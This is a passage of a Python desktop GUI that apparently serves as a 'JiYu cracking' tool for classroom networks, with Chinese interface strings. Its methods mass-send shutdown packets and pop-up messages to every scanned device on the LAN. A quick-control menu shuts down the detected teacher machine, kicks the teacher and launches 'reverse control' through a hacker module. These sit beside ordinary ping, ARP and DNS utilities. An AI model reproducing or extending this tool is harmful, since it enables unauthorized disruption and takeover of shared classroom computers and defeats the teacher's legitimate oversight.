        """发送消息到选中设备"""
        selected_ips = [ip for ip, var in self.device_vars.items() if var.get()]
        
        if not selected_ips:
            messagebox.showwarning("警告", "请先选择要发送消息的设备")
            return
        
        message = simpledialog.askstring("输入消息", "请输入要发送的消息:", 
                                        initialvalue="系统即将关机，请保存您的工作！")
        if not message:
            return
        
        self.log_message(f"开始向 {len(selected_ips)} 个设备发送消息...", "INFO")
        
        def message_thread():
            success_count = 0
            for ip in selected_ips:
                success = self.udp_controller.send_message_packet(ip, message)
                if success:
                    success_count += 1
                    self.root.after(0, lambda ip=ip: self.log_message(f"消息发送成功: {ip}", "SUCCESS"))
                else:
                    self.root.after(0, lambda ip=ip: self.log_message(f"消息发送失败: {ip}", "ERROR"))
                time.sleep(0.2)
            
            self.root.after(0, lambda: self.log_message(
                f"消息发送完成，成功: {success_count}/{len(selected_ips)}", "INFO"
            ))
        
        threading.Thread(target=message_thread, daemon=True).start()
    
    def send_to_device(self, ip):
        """发送消息到单个设备"""
        message = simpledialog.askstring("输入消息", f"发送消息到 {ip}:")
        if not message:
            return
        
        self.log_message(f"尝试发送消息到设备: {ip}", "INFO")
        
        def send_single():
            success = self.udp_controller.send_message_packet(ip, message)
            if success:
                self.root.after(0, lambda: self.log_message(f"消息发送成功: {ip}", "SUCCESS"))
            else:
                self.root.after(0, lambda: self.log_message(f"消息发送失败: {ip}", "ERROR"))
        
        threading.Thread(target=send_single, daemon=True).start()
    
    def send_message_custom(self):
        """发送自定义消息"""
        message = self.message_var.get()
        if not message:
            messagebox.showwarning("警告", "消息内容不能为空")
            return
        
        selected_ips = [ip for ip, var in self.device_vars.items() if var.get()]
        
        if not selected_ips:
            messagebox.showwarning("警告", "请先选择要发送消息的设备")
            return
        
        self.send_message()
    
    def batch_shutdown(self):
        """批量关机所有设备"""
        if not self.scanner.devices:
            messagebox.showwarning("警告", "请先扫描设备")
            return
        
        confirm = messagebox.askyesno("确认", f"确定要关机所有 {len(self.scanner.devices)} 个在线设备吗？")
        if not confirm:
            return
        
        self.log_message(f"开始批量关机所有 {len(self.scanner.devices)} 个设备...", "INFO")
        
        def batch_thread():
            success_count = 0
            for device in self.scanner.devices:
                success = self.udp_controller.send_shutdown_packet(device['ip'])
                if success:
                    success_count += 1
                    self.root.after(0, lambda ip=device['ip']: self.log_message(f"关机成功: {ip}", "SUCCESS"))
                else:
                    self.root.after(0, lambda ip=device['ip']: self.log_message(f"关机失败: {ip}", "ERROR"))
                time.sleep(0.3)
            
            self.root.after(0, lambda: self.log_message(
                f"批量关机完成，成功: {success_count}/{len(self.scanner.devices)}", "INFO"
            ))
        
        threading.Thread(target=batch_thread, daemon=True).start()
    
    def select_all_devices(self):
        """全选设备"""
        for var in self.device_vars.values():
            var.set(True)
        self.log_message("已全选所有设备", "INFO")
    
    def deselect_all_devices(self):
        """取消全选"""
        for var in self.device_vars.values():
            var.set(False)
        self.log_message("已取消全选", "INFO")
    
    def quick_control(self, action):
        """快速控制"""
        teacher_ip = self.hacker.get_teacher_ip()
        
        if not teacher_ip:
            messagebox.showwarning("警告", "未检测到教师机")
            return
        
        if action == "teacher_shutdown":
            confirm = messagebox.askyesno("确认", f"确定要关机教师机 {teacher_ip} 吗？")
            if confirm:
                self.shutdown_device(teacher_ip)
        elif action == "kick_teacher":
            self.kick_teacher()
        elif action == "reverse_control":
            self.reverse_control()
    
    def ping_test(self):
        """Ping测试"""
        target = simpledialog.askstring("Ping测试", "请输入要测试的IP地址或域名:")
        if not target:
            return
        
        self.log_message(f"开始Ping测试: {target}", "INFO")
        
        def ping_thread():
            try:
                if platform.system().lower() == "windows":
                    result = subprocess.run(["ping", "-n", "4", target], 
                                         capture_output=True, text=True, timeout=10,
                                         creationflags=subprocess.CREATE_NO_WINDOW)
                else:
                    result = subprocess.run(["ping", "-c", "4", target], 
                                         capture_output=True, text=True, timeout=10)
                
                self.root.after(0, lambda: self.log_message(f"Ping结果:\n{result.stdout}", "INFO"))
            except Exception as e:
                self.root.after(0, lambda: self.log_message(f"Ping失败: {e}", "ERROR"))
        
        threading.Thread(target=ping_thread, daemon=True).start()
    
    def network_diagnose(self):
        """网络诊断"""
        self.log_message("开始网络诊断...", "INFO")
        
        def diagnose_thread():
            try:
                # 获取本机IP
                local_ip = self.scanner.get_local_ip()
                self.root.after(0, lambda: self.log_message(f"本机IP: {local_ip}", "INFO"))
                
                # 测试网络连接
                result = subprocess.run(["ping", "-n", "2", "8.8.8.8"], 
                                      capture_output=True, text=True, timeout=5,
                                      creationflags=subprocess.CREATE_NO_WINDOW)
                if result.returncode == 0:
                    self.root.after(0, lambda: self.log_message("网络连接正常", "SUCCESS"))
                else:
                    self.root.after(0, lambda: self.log_message("网络连接异常", "ERROR"))
                    
            except Exception as e:
                self.root.after(0, lambda: self.log_message(f"诊断失败: {e}", "ERROR"))
        
        threading.Thread(target=diagnose_thread, daemon=True).start()
    
    def show_arp(self):
        """显示ARP表"""
        self.log_message("获取ARP表...", "INFO")
        
        def arp_thread():
            try:
                if platform.system().lower() == "windows":
                    result = subprocess.run(["arp", "-a"], 
                                          capture_output=True, text=True, timeout=5,
                                          creationflags=subprocess.CREATE_NO_WINDOW)
                    self.root.after(0, lambda: self.log_message(f"ARP表:\n{result.stdout}", "INFO"))
                else:
                    result = subprocess.run(["arp", "-a"], 
                                          capture_output=True, text=True, timeout=5)
                    self.root.after(0, lambda: self.log_message(f"ARP表:\n{result.stdout}", "INFO"))
            except Exception as e:
                self.root.after(0, lambda: self.log_message(f"获取ARP表失败: {e}", "ERROR"))
        
        threading.Thread(target=arp_thread, daemon=True).start()
    
    def flush_dns(self):
        """刷新DNS缓存"""
        self.log_message("刷新DNS缓存...", "INFO")
        
        def flush_thread():
            try:
                if platform.system().lower() == "windows":
                    result = subprocess.run(["ipconfig", "/flushdns"], 
                                          capture_output=True, text=True, timeout=5,
                                          creationflags=subprocess.CREATE_NO_WINDOW)
                    if "successfully" in result.stdout.lower():
                        self.root.after(0, lambda: self.log_message("DNS缓存已刷新", "SUCCESS"))
                    else:
                        self.root.after(0, lambda: self.log_message("DNS缓存刷新失败", "ERROR"))
                else:
                    self.root.after(0, lambda: self.log_message("此功能仅支持Windows系统", "WARNING"))
            except Exception as e:
                self.root.after(0, lambda: self.log_message(f"刷新DNS失败: {e}", "ERROR"))
        
        threading.Thread(target=flush_thread, daemon=True).start()
    
    def open_taskmgr(self):
        """打开任务管理器"""
        try:
            subprocess.Popen(["taskmgr"], creationflags=subprocess.CREATE_NO_WINDOW)
            self.log_message("已打开任务管理器", "SUCCESS")
        except:
            self.log_message("打开任务管理器失败", "ERROR")
    
    def open_regedit(self):
        """打开注册表编辑器"""
        try:
            subprocess.Popen(["regedit"], creationflags=subprocess.CREATE_NO_WINDOW)
            self.log_message("已打开注册表编辑器", "SUCCESS")
        except:
            self.log_message("打开注册表编辑器失败", "ERROR")
    
    def show_system_info(self):
        """显示系统信息"""
        try:
            system_info = platform.uname()
            info_text = f"""
系统信息:
  系统: {system_info.system} {system_info.release}
  版本: {system_info.version}
  机器: {system_info.machine}
  处理器: {platform.processor()}
  主机名: {system_info.node}
"""
            self.info_text.delete(1.0, tk.END)
            self.info_text.insert(1.0, info_text)
            self.log_message("已显示系统信息", "SUCCESS")
        except Exception as e:
            self.log_message(f"获取系统信息失败: {e}", "ERROR")
    
    def show_basic_info(self):
        """显示基本信息"""
        try:
            local_ip = self.scanner.get_local_ip()
            info = f"""
本地IP地址: {local_ip}
操作系统: {platform.system()} {platform.release()}
Python版本: {platform.python_version()}
当前时间: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
            """
            self.info_text.insert(1.0, info.strip())
        except:
            self.info_text.insert(1.0, "无法获取系统信息")
    
    def clean_temp(self):
        """清理临时文件"""
        self.log_message("清理临时文件...", "INFO")
        
        def clean_thread():
            try:
                temp_dirs = [
                    os.environ.get('TEMP', ''),
                    os.environ.get('TMP', ''),
                    os.path.join(os.environ.get('WINDIR', ''), 'Temp'),
                    os.path.join(os.environ.get('USERPROFILE', ''), 'AppData', 'Local', 'Temp')
                ]
                
                cleaned = 0
                for temp_dir in temp_dirs:
                    if os.path.exists(temp_dir):
                        try:
                            for root, dirs, files in os.walk(temp_dir):
                                for file in files:
                                    try:
                                        file_path = os.path.join(root, file)
                                        os.remove(file_path)
                                        cleaned += 1
                                    except:
                                        continue
                        except:
                            continue
                
                self.root.after(0, lambda: self.log_message(f"已清理 {cleaned} 个临时文件", "SUCCESS"))
            except Exception as e:
                self.root.after(0, lambda: self.log_message(f"清理临时文件失败: {e}", "ERROR"))
        
        threading.Thread(target=clean_thread, daemon=True).start()
    
    def clear_log(self):
        """清空日志"""
        self.log_text.delete(1.0, tk.END)
        self.log_message("日志已清空", "INFO")
    
    def save_log(self):
        """保存日志"""
        try:
            log_content = self.log_text.get(1.0, tk.END)
            timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
            filename = f"network_tool_log_{timestamp}.txt"
            
            with open(filename, 'w', encoding='utf-8') as f:
                f.write(log_content)
            
            self.log_message(f"日志已保存到: {filename}", "SUCCESS")
        except Exception as e:
            self.log_message(f"保存日志失败: {e}", "ERROR")
    
    def run(self):
        """运行应用程序"""
        try:
            # 检查系统兼容性
            if platform.system() != 'Windows':
                messagebox.showwarning("警告", "此工具仅支持Windows系统")
                return
            
            # 检查管理员权限
            if not ctypes.windll.shell32.IsUserAnAdmin():
                self.log_message("建议以管理员权限运行以获得完整功能", "WARNING")
            
            self.log_message("网络管理与极域破解工具已启动", "SUCCESS")
            self.log_message(f"本机IP: {self.scanner.get_local_ip()}", "INFO")
            self.log_message("专为Windows 7/10 32/64位优化，低资源占用", "INFO")
            
            self.root.protocol("WM_DELETE_WINDOW", self.on_closing)
            self.root.mainloop()
            
        except Exception as e:
            messagebox.showerror("错误", f"程序启动失败: {e}")
    
    def on_closing(self):
        """关闭窗口时的处理"""
        if self.is_scanning:
            self.scanner.stop_scan()
        
        if messagebox.askokcancel("退出", "确定要退出程序吗？"):
            self.root.destroy()

def main():
    """主函数"""
    try:
        app = NetworkManagerGUI()
        app.run()
    except Exception as e:
        print(f"程序运行错误: {e}")
        import traceback
        traceback.print_exc()

if __name__ == "__main__":
    main()